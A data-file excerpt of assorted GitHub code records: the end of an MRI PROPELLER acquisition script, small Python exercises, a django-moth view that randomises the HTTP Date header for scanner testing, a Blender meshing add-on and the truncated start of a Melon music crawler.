kCartesianZ, kCartesianX)\n kCartesianX = np.squeeze(np.reshape(kCartesianX, (1, nPoints[0]*nPoints[1]*nPoints[2])))\n kCartesianY = np.squeeze(np.reshape(kCartesianY, (1, nPoints[0]*nPoints[1]*nPoints[2])))\n kCartesianZ = np.squeeze(np.reshape(kCartesianZ, (1, nPoints[0]*nPoints[1]*nPoints[2])))\n if nPoints[2]==1:\n kCartesianZ *=0\n \n # Change gradient values to OCRA units\n gFactor = reorganizeGfactor(axes)\n rdGradAmpArray[0, :] = rdGradAmpArray[0, :]/gFactor[0]*1000/10\n rdGradAmpArray[1, :] = rdGradAmpArray[1, :]/gFactor[1]*1000/10\n slGradAmpArray = slGradAmpArray/gFactor[2]*1000/10\n for blockIndex in range(nBlocks):\n phGradAmpBlock[blockIndex][0, :] = phGradAmpBlock[blockIndex][0, :]/gFactor[0]*1000/10\n phGradAmpBlock[blockIndex][1, :] = phGradAmpBlock[blockIndex][1, :]/gFactor[1]*1000/10\n \n # Create sequence\n def createSequence():\n nRepetitions = nBlocks*nPoints[2]+dummyPulses\n scanTime = nRepetitions*repetitionTime\n # Set shimming\n iniSequence(20, shimming)\n slIndex = 0\n blockIndex = 0\n for repeIndex in range(nRepetitions):\n # Initialize time\n tRep = 20e3+inversionTime+repetitionTime*repeIndex\n \n # Inversion pulse\n if inversionTime!=0:\n t0 = tRep-inversionTime-rfReTime/2-blkTime\n rfPulse(t0,rfReTime,rfReAmp,0)\n \n # Excitation pulse\n t0 = tRep-rfExTime/2-blkTime\n rfPulse(t0,rfExTime,rfExAmp,drfPhase*np.pi/180)\n \n # Dephasing readout\n t0 = tRep+rfExTime/2-gradDelay\n rdPreX = rdP0+rdPm*np.abs(rdGradAmpArray[0,blockIndex])\n rdPreY = rdP0+rdPm*np.abs(rdGradAmpArray[1,blockIndex])\n if repeIndex>=dummyPulses: # This is to account for dummy pulses\n gradTrap(t0, nrd[blockIndex]/bandwidth+2*addRdGradTime, rdGradAmpArray[0,blockIndex]/2*rdPreX, axes[0])\n gradTrap(t0, nrd[blockIndex]/bandwidth+2*addRdGradTime, rdGradAmpArray[1,blockIndex]/2*rdPreY, axes[1])\n# if repeIndex>=dummyPulses: # This is to account for dummy pulses\n# gradTrap(t0, nrd[blockIndex]/bandwidth+2*addRdGradTime, rdGradAmpArray[0,blockIndex]/2*rdPreemphasis, axes[0])\n# gradTrap(t0, nrd[blockIndex]/bandwidth+2*addRdGradTime, rdGradAmpArray[1,blockIndex]/2*rdPreemphasis, axes[1])\n \n # Echo train\n for echoIndex in range(etl):\n tEcho = tRep+echoSpacing*(echoIndex+1)\n \n # Refocusing pulse\n t0 = tEcho-echoSpacing/2-rfReTime/2-blkTime\n rfPulse(t0, rfReTime, rfReAmp, np.pi/2)\n \n # Dephasing phase and slice gradients\n t0 = tEcho-echoSpacing/2+rfReTime/2-gradDelay\n if repeIndex>=dummyPulses: # This is to account for dummy pulses\n gradTrap(t0, phaseGradTime, phGradAmpBlock[blockIndex][0,echoIndex], axes[0])\n gradTrap(t0, phaseGradTime, phGradAmpBlock[blockIndex][1,echoIndex], axes[1])\n gradTrap(t0, phaseGradTime, slGradAmpArray[slIndex], axes[2])\n \n # Readout gradient\n if repeIndex>=dummyPulses: # This is to account for dummy pulses\n if nrd[blockIndex]%2==0:\n t0 = tEcho-(nrd[blockIndex]+1)/(2*bandwidth)-addRdGradTime-gradRiseTime-gradDelay\n gradTrap(t0, (nrd[blockIndex]+1)/bandwidth+2*addRdGradTime, rdGradAmpArray[0,blockIndex], axes[0])\n gradTrap(t0, (nrd[blockIndex]+1)/bandwidth+2*addRdGradTime, rdGradAmpArray[1,blockIndex], axes[1])\n else:\n t0 = tEcho-nrd[blockIndex]/(2*bandwidth)-addRdGradTime-gradRiseTime-gradDelay\n gradTrap(t0, nrd[blockIndex]/bandwidth+2*addRdGradTime, rdGradAmpArray[0,blockIndex], axes[0])\n gradTrap(t0, nrd[blockIndex]/bandwidth+2*addRdGradTime, rdGradAmpArray[1,blockIndex], axes[1])\n \n # Rx gate\n if repeIndex>=dummyPulses: # This is to account for dummy pulses\n if nrd[blockIndex]%2==0:\n t0 = tEcho-(nrd[blockIndex]+1)/(2*bandwidth)-addRdPoints/bandwidth-1/(2*bandwidth)\n else:\n t0 = tEcho-(nrd[blockIndex])/(2*bandwidth)-addRdPoints/bandwidth-1/(2*bandwidth)\n rxGate(t0, (nrd[blockIndex]+2*addRdPoints)/bandwidth)\n \n # Rephasing phase and slice gradients\n t0 = tEcho+nrd[blockIndex]/(2*bandwidth)+addRdGradTime+gradRiseTime\n if (echoIndex=dummyPulses):\n gradTrap(t0, phaseGradTime, -phGradAmpBlock[blockIndex][0,echoIndex], axes[0])\n gradTrap(t0, phaseGradTime, -phGradAmpBlock[blockIndex][1,echoIndex], axes[1])\n gradTrap(t0, phaseGradTime, -slGradAmpArray[slIndex], axes[2])\n \n # Update the block and slice index\n if repeIndex>=dummyPulses:\n if slIndex == nPoints[2]-1:\n blockIndex += 1\n slIndex = 0\n else:\n slIndex += 1\n \n if repeIndex == nRepetitions:\n endSequence(scanTime)\n \n # Frequency calibration function\n def createFreqCalSequence():\n t0 = 20\n \n # Shimming\n iniSequence(t0, shimming)\n \n # Excitation pulse\n rfPulse(t0,rfExTime,rfExAmp,drfPhase*np.pi/180)\n \n # Refocusing pulse\n t0 += rfExTime/2+echoSpacing/2-rfReTime/2\n rfPulse(t0, rfReTime, rfReAmp, np.pi/2)\n \n # Rx\n t0 += blkTime+rfReTime/2+echoSpacing/2-acqTimeFreqCal/2-addRdPoints/bandwidth\n rxGate(t0, acqTimeFreqCal+2*addRdPoints/bandwidth)\n \n # Finalize sequence\n endSequence(repetitionTime)\n \n def rfPulse(tStart,rfTime,rfAmplitude,rfPhase):\n txTime = np.array([tStart+blkTime,tStart+blkTime+rfTime])\n txAmp = np.array([rfAmplitude*np.exp(1j*rfPhase),0.])\n txGateTime = np.array([tStart,tStart+blkTime+rfTime])\n txGateAmp = np.array([1,0])\n expt.add_flodict({\n 'tx0': (txTime, txAmp),\n 'tx_gate': (txGateTime, txGateAmp)\n })\n\n def rxGate(tStart,gateTime):\n rxGateTime = np.array([tStart,tStart+gateTime])\n rxGateAmp = np.array([1,0])\n expt.add_flodict({\n 'rx0_en':(rxGateTime, rxGateAmp), \n 'rx_gate': (rxGateTime, rxGateAmp), \n })\n\n def gradTrap(tStart, gTime, gAmp, gAxis):\n tUp = np.linspace(tStart, tStart+gradRiseTime, num=gSteps, endpoint=False)\n tDown = tUp+gradRiseTime+gTime\n t = np.concatenate((tUp, tDown), axis=0)\n dAmp = gAmp/gSteps\n aUp = np.linspace(dAmp, gAmp, num=gSteps)\n aDown = np.linspace(gAmp-dAmp, 0, num=gSteps)\n a = np.concatenate((aUp, aDown), axis=0)\n if gAxis==0:\n expt.add_flodict({'grad_vx': (t, a+shimming[0])})\n elif gAxis==1:\n expt.add_flodict({'grad_vy': (t, a+shimming[1])})\n elif gAxis==2:\n expt.add_flodict({'grad_vz': (t, a+shimming[2])})\n \n def endSequence(tEnd):\n expt.add_flodict({\n 'grad_vx': (np.array([tEnd]),np.array([0]) ), \n 'grad_vy': (np.array([tEnd]),np.array([0]) ), \n 'grad_vz': (np.array([tEnd]),np.array([0]) ),\n })\n \n def iniSequence(tEnd, shimming):\n expt.add_flodict({\n 'grad_vx': (np.array([tEnd]),np.array([shimming[0]]) ), \n 'grad_vy': (np.array([tEnd]),np.array([shimming[1]]) ), \n 'grad_vz': (np.array([tEnd]),np.array([shimming[2]]) ),\n })\n \n # Changing time parameters to us\n rfExTime = rfExTime*1e6\n rfReTime = rfReTime*1e6\n echoSpacing = echoSpacing*1e6\n repetitionTime = repetitionTime*1e6\n gradRiseTime = gradRiseTime*1e6\n phaseGradTime = phaseGradTime*1e6\n inversionTime = inversionTime*1e6\n bandwidth = bandwidth*1e-6\n \n # Calibrate frequency\n expt = ex.Experiment(lo_freq=larmorFreq, rx_t=samplingPeriod, init_gpa=init_gpa, gpa_fhdo_offset_time=(1 / 0.2 / 3.1))\n samplingPeriod = expt.get_rx_ts()[0]\n bandwidth = 1/samplingPeriod/oversamplingFactor\n acqTimeFreqCal = nPoints[0]/bandwidth # us\n auxiliar['bandwidth'] = bandwidth*1e6\n createFreqCalSequence()\n rxd, msgs = expt.run()\n dataFreqCal = sig.decimate(rxd['rx0']*13.788, oversamplingFactor, ftype='fir', zero_phase=True)\n dataFreqCal = dataFreqCal[addRdPoints:nPoints[0]+addRdPoints]\n # Plot fid\n plt.figure(1)\n tVector = np.linspace(-acqTimeFreqCal/2, acqTimeFreqCal/2, num=nPoints[0],endpoint=True)*1e-3\n plt.subplot(1, 2, 1)\n plt.plot(tVector, np.abs(dataFreqCal))\n plt.title(\"Signal amplitude\")\n plt.xlabel(\"Time (ms)\")\n plt.ylabel(\"Amplitude (mV)\")\n plt.subplot(1, 2, 2)\n angle = np.unwrap(np.angle(dataFreqCal))\n plt.title(\"Signal phase\")\n plt.xlabel(\"Time (ms)\")\n plt.ylabel(\"Phase (rad)\")\n plt.plot(tVector, angle)\n # Get larmor frequency\n dPhi = angle[-1]-angle[0]\n df = dPhi/(2*np.pi*acqTimeFreqCal)\n larmorFreq += df\n auxiliar['larmorFreq'] = larmorFreq*1e6\n print(\"f0 = %s MHz\" % (round(larmorFreq, 5)))\n # Plot sequence:\n# expt.plot_sequence()\n# plt.show()\n # Delete experiment:\n expt.__del__()\n \n # Create full sequence\n expt = ex.Experiment(lo_freq=larmorFreq, rx_t=samplingPeriod, init_gpa=init_gpa, gpa_fhdo_offset_time=(1 / 0.2 / 3.1))\n samplingPeriod = expt.get_rx_ts()[0]\n bandwidth = 1/samplingPeriod/oversamplingFactor\n auxiliar['bandwidth'] = bandwidth*1e6\n createSequence()\n\n # Plot sequence:\n# expt.plot_sequence()\n# plt.show()\n \n # Run the experiment\n seqTime = nPoints[2]*nBlocks*repetitionTime*1e-6*nScans\n print(\"Expected scan time = %s s\" %(round(seqTime, 0)))\n print(\"Runing sequence...\")\n tStart = time.time()\n dataFull = []\n for ii in range(nScans):\n rxd, msgs = expt.run()\n rxd['rx0'] = rxd['rx0']*13.788 # Here I normalize to get the result in mV\n # Get data\n scanData = sig.decimate(rxd['rx0'], oversamplingFactor, ftype='fir', zero_phase=True)\n dataFull = np.concatenate((dataFull, scanData), axis = 0)\n expt.__del__()\n tEnd = time.time()\n print(\"True scan time = %s s\" %(round(tEnd-tStart, 0)))\n \n # Average data\n print(\"Averaging data...\")\n nrdTotal = np.sum(nrd+2*addRdPoints)*etl\n dataProvA = np.reshape(dataFull, (nScans, nrdTotal*nPoints[2]))\n dataProvA = np.average(dataProvA, axis=0)\n \n # Reorganize data according to sweep mode\n print(\"Reorganizing data according to sweep mode...\")\n dataProvB = np.zeros(np.size(dataProvA), dtype=complex)\n n0 = 0\n n1 = 0\n for blockIndex in range(nBlocks):\n n1 += nPoints[2]*etl*(nrd[blockIndex]+2*addRdPoints)\n dataProvC = np.reshape(dataProvA[n0:n1], (nPoints[2], etl, nrd[blockIndex]+2*addRdPoints))\n dataProvD = dataProvC*0\n for ii in range(etl):\n dataProvD[:, ind[ii], :] = dataProvC[:, ii, :]\n dataProvD = np.reshape(dataProvD, (1, nPoints[2]*etl*(nrd[blockIndex]+2*addRdPoints)))\n dataProvB[n0:n1] = dataProvD\n n0 = n1\n del dataProvC, dataProvD, n0, n1\n \n # Delete the additional rd points and fix echo delay!!\n print(\"Deleting additional readout points...\")\n dataPropeller = np.zeros(nrdTotal*nPoints[2]-2*addRdPoints*nPoints[2]*nBlocks*etl, dtype=complex)\n n0 = 0\n n1 = 0\n n2 = 0\n n3 = 0\n for blockIndex in range(nBlocks):\n n1 += nPoints[2]*etl*(nrd[blockIndex]+2*addRdPoints)\n n3 += nPoints[2]*etl*(nrd[blockIndex])\n dataProvC = np.reshape(dataProvB[n0:n1], (nPoints[2], etl, nrd[blockIndex]+2*addRdPoints))\n if etl%2==0: # Asumo que nPoints[2] es par\n k0Line = dataProvC[int((nPoints[2]-1)/2), int(etl/2), :]\n else:\n k0Line = dataProvC[int((nPoints[2]-1)/2), int((etl-1)/2), :]\n k0 = np.argmax(np.abs(k0Line))\n# k0 = int((nrd[blockIndex]+2*addRdPoints)/2-2)\n if nrd[blockIndex]%2==0:\n dataProvC = dataProvC[:, :, k0-int(nrd[blockIndex]/2):k0+int(nrd[blockIndex]/2)]\n else:\n dataProvC = dataProvC[:, :, k0-int((nrd[blockIndex]-1)/2):k0+int((nrd[blockIndex]+1)/2)]\n dataProvC = np.reshape(dataProvC, (1,nPoints[2]*etl*nrd[blockIndex]))\n dataPropeller[n2:n3] = dataProvC\n n0 = n1\n n2 = n3\n del dataProvA, dataProvB, dataProvC, n0, n1, n2, n3\n \n # Regridding to cartesian k-space\n# print(\"Regridding to cartesian grid...\")\n# tStart = time.time()\n# if nPoints[2]==1:\n# dataCartesian = gd((kPropellerX, kPropellerY), dataPropeller, (kCartesianX, kCartesianY), method='linear', fill_value=0.)\n# else:\n# dataCartesian = gd((kPropellerX, kPropellerY, kPropellerZ), dataPropeller, (kCartesianX, kCartesianY, kCartesianZ), method='linear', fill_value=0.)\n# tEnd = time.time()\n# print(\"Regridding done in = %s s\" %(round(tEnd-tStart, 0)))\n kPropeller = np.array([kPropellerX, kPropellerY, kPropellerZ, dataPropeller])\n# kCartesian = np.array([kCartesianX, kCartesianY, kCartesianZ, dataCartesian])\n kCartesian = np.array([kCartesianX, kCartesianY, kCartesianZ])\n del kCartesianX, kCartesianY, kCartesianZ, kPropellerX, kPropellerY, kPropellerZ, dataPropeller\n auxiliar['kMax'] = kMax\n kSpace['sampled'] = np.transpose(kCartesian)\n kSpace['sampledNonCart'] = np.transpose(kPropeller)\n print(\"Done!\")\n \n# # Get image with FFT\n# dataCartesian = np.reshape(dataCartesian, (nPoints[2], nPoints[1], nPoints[0]))\n# img = np.fft.ifftshift(np.fft.ifftn(np.fft.ifftshift(dataCartesian)))\n# kSpace['image'] = img\n \n # Save data\n dt = datetime.now()\n dt_string = dt.strftime(\"%Y.%m.%d.%H.%M.%S\")\n dt2 = date.today()\n dt2_string = dt2.strftime(\"%Y.%m.%d\")\n if not os.path.exists('experiments/acquisitions/%s' % (dt2_string)):\n os.makedirs('experiments/acquisitions/%s' % (dt2_string))\n \n if not os.path.exists('experiments/acquisitions/%s/%s' % (dt2_string, dt_string)):\n os.makedirs('experiments/acquisitions/%s/%s' % (dt2_string, dt_string)) \n inputs['name'] = \"%s.%s.mat\" % (\"TSE\",dt_string)\n auxiliar['fileName'] = \"%s.%s.mat\" % (\"PROPELLER STACK\",dt_string)\n rawData['inputs'] = inputs\n rawData['auxiliar'] = auxiliar\n rawData['kSpace'] = kSpace\n rawdata = {}\n rawdata['rawData'] = rawData\n savemat(\"experiments/acquisitions/%s/%s/%s.%s.mat\" % (dt2_string, dt_string, \"PROPELLER STACK\",dt_string), rawdata)\n \n# # Plot k-space\n# plt.figure(3)\n# dataPlot = dataCartesian[round(nPoints[2]/2), :, :]\n# plt.subplot(121)\n# plt.imshow(np.log(np.abs(dataPlot)),cmap='gray')\n# plt.axis('off')\n# # Plot image\n# imgPlot = img[round(nPoints[2]/2), :, :]\n# plt.subplot(122)\n# plt.imshow(np.abs(imgPlot), cmap='gray')\n# plt.axis('off')\n# plt.title(\"PROPELLER_STACK.%s.mat\" % (dt_string))\n# plt.show()\n \n\n#*********************************************************************************\n#*********************************************************************************\n#*********************************************************************************\n\n\ndef getIndex(etl, sweepMode):\n ind = np.zeros(etl)\n if sweepMode==0: # Sequential for T2 contrast\n ind = np.arange(etl)\n elif sweepMode==1: # Center-out for T1 contrast\n if etl%2==0:\n indA = np.arange(etl/2, etl)\n indB = np.arange(etl/2-1, -1, -1)\n ind[0::2] = indA\n ind[1::2] = indB\n else:\n indA = np.arange((etl+1)/2, etl)\n indB = np.arange((etl-1)/2-1, -1, -1)\n ind[0] = (etl-1)/2\n ind[1::2] = indA\n ind[2::2] = indB\n elif sweepMode==2: # Out-to-center for T2 contrast\n if etl%2==0:\n indA = np.arange(etl/2, etl)\n indB = np.arange(etl/2-1, -1, -1)\n ind[0::2] = indA\n ind[1::2] = indB\n else:\n indA = np.arange((etl+1)/2, etl)\n indB = np.arange((etl-1)/2-1, -1, -1)\n ind[0] = (etl-1)/2\n ind[1::2] = indA\n ind[2::2] = indB\n ind = ind[::-1]\n\n return np.int32(ind)\n\n\n#*********************************************************************************\n#*********************************************************************************\n#*********************************************************************************\n\n\ndef reorganizeGfactor(axes):\n gFactor = np.array([0., 0., 0.])\n \n # Set the normalization factor for readout, phase and slice gradient\n for ii in range(3):\n if axes[ii]==0:\n gFactor[ii] = Gx_factor\n elif axes[ii]==1:\n gFactor[ii] = Gy_factor\n elif axes[ii]==2:\n gFactor[ii] = Gz_factor\n \n return(gFactor)\n\n#*********************************************************************************\n#*********************************************************************************\n#*********************************************************************************\n\n\nif __name__ == \"__main__\":\n\n propellerStack_standalone()\n","repo_name":"yvives/PhysioMRI_GUI","sub_path":"seq_standalone_OLD/propeller_standalone.py","file_name":"propeller_standalone.py","file_ext":"py","file_size_in_byte":28898,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"32186337375","text":"# Fernando Valadez-Nunez\n# 02/13/2020\n\n# Program asks user for the number of sides, lenght of the side, the color of\n# the line and the fill color of a regular polygon, program should draw the polygon\n# and fill it\n\nnumsides= int (input(\"What are the number of sides of the polygon?\"))\n\nlensides= int (input(\"What is the lenght of the side of the polygon?\"))\n\nlinecolor= input(\"What are the color of the lines?\")\n\nfillcolor= input(\"What is the fill color of the polygon?\")\n\nimport turtle\n\nt= turtle.Turtle()\n\nt.color(linecolor)\n\nangle= 360/numsides\n\nt.begin_fill()\nfor f in range (numsides):\n t.forward(lensides)\n t.right(angle)\nt.color(fillcolor)\nt.end_fill()\n\n","repo_name":"fvaladeznunez/Module-5","sub_path":"Problem 3.py","file_name":"Problem 3.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2850012445","text":"import random\nimport datetime\n\nfrom django.shortcuts import render_to_response\n\nfrom moth.views.base.vulnerable_template_view import VulnerableTemplateView\n\n\nclass RandomHeaderView(VulnerableTemplateView):\n title = 'Randomly adds an HTTP header'\n tags = ['GET', 'HTTP header']\n description = 'One out of three requests will have an HTTP header. This'\\\n ' should be enough to convince Halberd that something is'\\\n ' going on.'\n url_path = 'halberd.py'\n \n def get(self, request, *args, **kwds):\n context = self.get_context_data()\n context['html'] = 'See HTTP response headers.'\n response = render_to_response(self.template_name, context)\n response.status_code = 200\n\n # Date: Wed, 26 Feb 2014 17:56:30 GMT\n date_fmt = \"%a, %d %b %Y %H:%M:%S GMT\"\n now = datetime.datetime.now()\n\n if random.randint(0, 2) == 0:\n time_in_header = now\n else:\n time_in_header = now + datetime.timedelta(seconds=120)\n\n response['Date'] = time_in_header.strftime(date_fmt)\n\n return response","repo_name":"andresriancho/django-moth","sub_path":"moth/views/vulnerabilities/infrastructure/halberd.py","file_name":"halberd.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"21"} +{"seq_id":"10079244698","text":"'''\n57. Insert Interval\nGiven a set of non-overlapping intervals, insert a new interval into the intervals (merge if necessary).\n\nYou may assume that the intervals were initially sorted according to their start times.\n\n\n\nExample 1:\n\nInput: intervals = [[1,3],[6,9]], newInterval = [2,5]\nOutput: [[1,5],[6,9]]\nExample 2:\n\nInput: intervals = [[1,2],[3,5],[6,7],[8,10],[12,16]], newInterval = [4,8]\nOutput: [[1,2],[3,10],[12,16]]\nExplanation: Because the new interval [4,8] overlaps with [3,5],[6,7],[8,10].\nExample 3:\n\nInput: intervals = [], newInterval = [5,7]\nOutput: [[5,7]]\nExample 4:\n\nInput: intervals = [[1,5]], newInterval = [2,3]\nOutput: [[1,5]]\nExample 5:\n\nInput: intervals = [[1,5]], newInterval = [2,7]\nOutput: [[1,7]]\n\n\nConstraints:\n\n0 <= intervals.length <= 104\nintervals[i].length == 2\n0 <= intervals[i][0] <= intervals[i][1] <= 105\nintervals is sorted by intervals[i][0] in ascending order.\nnewInterval.length == 2\n0 <= newInterval[0] <= newInterval[1] <= 105\n\n57. 插入区间\n给出一个无重叠的 ,按照区间起始端点排序的区间列表。\n\n在列表中插入一个新的区间,你需要确保列表中的区间仍然有序且不重叠(如果有必要的话,可以合并区间)。\n\n\n\n示例 1:\n\n输入:intervals = [[1,3],[6,9]], newInterval = [2,5]\n输出:[[1,5],[6,9]]\n示例 2:\n\n输入:intervals = [[1,2],[3,5],[6,7],[8,10],[12,16]], newInterval = [4,8]\n输出:[[1,2],[3,10],[12,16]]\n解释:这是因为新的区间 [4,8] 与 [3,5],[6,7],[8,10] 重叠。\n\n\n注意:输入类型已在 2019 年 4 月 15 日更改。请重置为默认代码定义以获取新的方法签名。\n'''\n\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[List[int]]\n :type newInterval: List[int]\n :rtype: List[List[int]]\n \"\"\"\n intervals.append(newInterval)\n intervals.sort()\n res = []\n for interval in intervals:\n if not res or interval[0] > res[-1][1]:\n res.append(interval)\n continue\n if not interval or interval[1] < res[-1][1]:\n continue\n if interval[1] > res[-1][1]:\n res[-1][1] = interval[1]\n return res\n","repo_name":"MecaCho/algorithms_training","sub_path":"algorithms/sort/leetcode-57-InsertInterval.py","file_name":"leetcode-57-InsertInterval.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16309378932","text":"import bpy\nimport oct2py as op\nimport numpy as np\nimport scipy.io\nimport os\n\n\nclass Creatregion(bpy.types.Operator):\n bl_label = 'Genert Volumatic Mesh'\n bl_description = \"This botton can call iso2mesh to genert tetrahedral mesh. (Please save your blender file first!)\"\n bl_idname = 'a_test.creatregion'\n\n # creat a interface to set uesrs' model parameter.\n\n bl_options = {\"REGISTER\", \"UNDO\"}\n keepratio: bpy.props.FloatProperty(default=1.0,name=\"ratio keep for volum mesh(0-1)\")\n maxvolum: bpy.props.FloatProperty(default=100.0, name=\"Max_tetrahedraw_volum\")\n\n def func(self):\n os.chdir(bpy.utils.user_resource('SCRIPTS', \"addons\")+'/BlenderPhotonics/Model')\n \n #remove camera and light\n for ob in bpy.context.scene.objects:\n ob.select_set(False)\n if ob.type == 'CAMERA':\n ob.select_set(True)\n elif ob.type == 'LIGHT':\n ob.select_set(True)\n bpy.ops.object.delete()\n\n obj = bpy.context.view_layer.objects.active\n #jioned\n bpy.ops.object.select_all(action='SELECT')\n bpy.ops.object.convert(target='MESH')\n if len(bpy.context.selected_objects)>=2:\n bpy.ops.object.join()\n\n bpy.ops.object.editmode_toggle()\n bpy.ops.mesh.select_all(action='SELECT')\n bpy.ops.mesh.intersect(mode='SELECT', separate_mode='NONE', solver='EXACT')\n bpy.ops.mesh.select_all(action='SELECT')\n bpy.ops.mesh.quads_convert_to_tris(quad_method='BEAUTY', ngon_method='BEAUTY')\n bpy.ops.object.editmode_toggle()\n\n #output mesh data to Octave\n # this works only in object mode,\n bpy.ops.object.select_all(action='SELECT')\n obj = bpy.context.view_layer.objects.active\n verts = []\n for n in range(len(obj.data.vertices)):\n vert = obj.data.vertices[n].co\n v_global = obj.matrix_world @ vert\n verts.append(v_global)\n edges = [edge.vertices[:] for edge in obj.data.edges]\n faces = [face.vertices[:] for face in obj.data.polygons]\n print(\"=\"*40) # printing marker\n\n oc = op.Oct2Py()\n oc.addpath(oc.genpath(bpy.utils.user_resource('SCRIPTS', \"addons\")+'/BlenderPhotonics/iso2mesh'))\n\n v = np.array(verts)\n f = np.array(faces)\n \n # Remove last .stl file\n in_dir_ply = (bpy.utils.user_resource('SCRIPTS', \"addons\")+'/BlenderPhotonics/Model/stlfile')\n lst_ply = os.listdir(in_dir_ply)\n c=0\n for item in lst_ply:\n fileName, fileExtension = os.path.splitext(lst_ply[c])\n if fileExtension == \".stl\":\n os.remove(os.path.join(in_dir_ply,item))\n print (\"Delete File: \" + os.path.join(in_dir_ply,item))\n c=c+1\n\n # Save file\n scipy.io.savemat('result.mat', mdict={'v':v, 'f':f, 'ratio':self.keepratio, 'maxv':self.maxvolum})\n oc.run(bpy.utils.user_resource('SCRIPTS', \"addons\")+'/BlenderPhotonics/Model/demo_blender.m')\n \n # import volum mesh to blender(just for user to check the result)\n bpy.ops.object.select_all(action='SELECT')\n bpy.ops.object.delete()\n bpy.ops.import_mesh.stl(filepath='volumic_mesh.stl', files=[{'name': 'volumic_mesh.stl'}], directory=(bpy.utils.user_resource('SCRIPTS', \"addons\")+'/BlenderPhotonics/Model'), filter_glob=\"*.stl\")\n\n def execute(self, context):\n print(\"begin to genert volumic mesh\")\n self.func()\n return {\"FINISHED\"}\n","repo_name":"Knight680/BlenderPhotonics","sub_path":"Genert_Volumatic_Mesh.py","file_name":"Genert_Volumatic_Mesh.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24694967131","text":"import random\r\n\r\nprint(\"\\t\\t\\t\\t\\\\t\\t\\a JAKA TO LICZBA\")\r\n\r\nprint(\"Zaraz wymyślę jedną liczbę z przedziału od 1 do 100, a Ty musisz ją odgadnąć\")\r\n\r\n\r\nliczba = random.randint(1, 100)\r\nodp = int(input(\"Ta liczba to: \"))\r\nzycia = 3\r\n\r\nwhile odp != liczba and zycia > 1:\r\n\r\n if odp > liczba:\r\n print(\"Mniej\")\r\n zycia -= 1\r\n\r\n elif odp < liczba:\r\n print(\"więcej\")\r\n zycia -= 1\r\n\r\n elif zycia == 1:\r\n print(\"Straciłeś wszystkie szanse\")\r\n\r\n odp = int(input(\"Ta liczba to: \"))\r\n\r\nif odp == liczba:\r\n print(\"Zgadłeś, poprawny wynik to\", liczba)\r\n\r\nelse:\r\n print(\"Nie udało Ci się, poprawną odpowiedzią jest\", liczba)\r\n\r\ninput(\"Koniec gry\")\r\n","repo_name":"BartekWilman/Python-dla-ka-dego","sub_path":"3 rozdział/odgadnij jaka to liczba.py","file_name":"odgadnij jaka to liczba.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32222447759","text":"from __future__ import absolute_import, unicode_literals\n\nimport datetime\nimport os\nimport threading\nimport time\nimport traceback\nimport urllib.request\nimport urllib.error\nfrom queue import Queue\nfrom random import shuffle\n\nimport lxml.html\n\nimport requests\nfrom django.conf import settings\nfrom django.core.files import File\nfrom django.db.models import signals\nfrom django.dispatch import receiver\nfrom requests.exceptions import SSLError\nfrom selenium import webdriver\nfrom selenium.common.exceptions import StaleElementReferenceException\n\nfrom backend.celery import app\nfrom chatbot.models import Artist, Album, Music, SoloArtist, GroupArtist\nfrom manager.models import Crawler\n\ndriver_path = os.path.join(settings.BASE_DIR, 'chromedriver')\nheaders = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0'}\n\n\n@receiver(signals.post_save, sender=Crawler)\ndef crawl_help(sender, instance, created, **kwargs):\n if created:\n # crawl.delay(instance.id)\n crawl(instance.id)\n\n\ndef get_tree(url):\n html = None\n for i in range(10):\n try:\n html = requests.get(url=url, headers=headers).text\n except SSLError:\n continue\n break\n if html is None:\n html = requests.get(url=url, headers=headers).text\n return lxml.html.document_fromstring(html)\n\n\ndef get_id_selenium(link):\n return int(''.join(filter(lambda x: x.isnumeric(), link.get_property('href'))))\n\n\ndef get_id_lxml(link):\n return int(''.join(filter(lambda x: x.isnumeric(), link.get('href'))))\n\n\ndef get_info(elt_list, info_keys):\n info_key = None\n info_fields = [None] * len(info_keys)\n for elt in elt_list.xpath('.//*'):\n data = elt.text_content().strip()\n if data in info_keys:\n info_key = data\n elif info_key is not None:\n info_fields[info_keys.index(info_key)] = data\n info_key = None\n return info_fields\n\n\ndef to_date(text: None):\n if text is None:\n return None\n text = text.replace('.', '-')\n while text.count('-') < 2:\n text += '-01'\n try:\n datetime.datetime.strptime(text, '%Y-%m-%d')\n except ValueError:\n return None\n return text\n\n\ndef crawl_music(worker_id, music_id, album_id, rating, artist_ids):\n music_url = f'https://www.melon.com/song/detail.htm?songId={music_id}'\n tree = get_tree(music_url)\n music_title = tree.xpath(\"//div[@class='song_name']\")[0].text_content().replace('곡명', '').strip()\n nineteen = tree.xpath(\"//span[@class='bullet_icons age_19 large']\")\n if nineteen:\n music_title = music_title.replace(nineteen[0].text_content(), '').strip()\n\n # Gather Music Information\n music_info = tree.xpath('/html/body/div[1]/div[3]/div/div/form/div/div/div[2]/div[2]/dl')\n if not music_info:\n music_info = tree.xpath('/html/body/div[1]/div[3]/div/div/form/div/div[1]/div[2]/div/div[2]/dl')[0]\n else:\n music_info = music_info[0]\n info_keys = ('발매일', '장르')\n info_fields = get_info(music_info, info_keys)\n\n # Create Music\n music, _ = Music.objects.get_or_create(original_id=music_id)\n music.original_id = music_id\n music.title = music_title\n music.release = to_date(info_fields[0])\n music.genre = info_fields[1]\n music.original_rating = rating\n music.save()\n\n return music_id, album_id, artist_ids\n\n\ndef crawl_album(worker_id, album_id):\n album_url = f'https://www.melon.com/album/detail.htm?albumId={album_id}'\n tree = get_tree(album_url)\n album_title = tree.xpath('/html/body/div[1]/div[3]/div/div/div[2]/div/div[2]/div[1]/div[1]')[0].text_content().replace('앨범명', '').strip()\n print(f'{worker_id:02d} Album 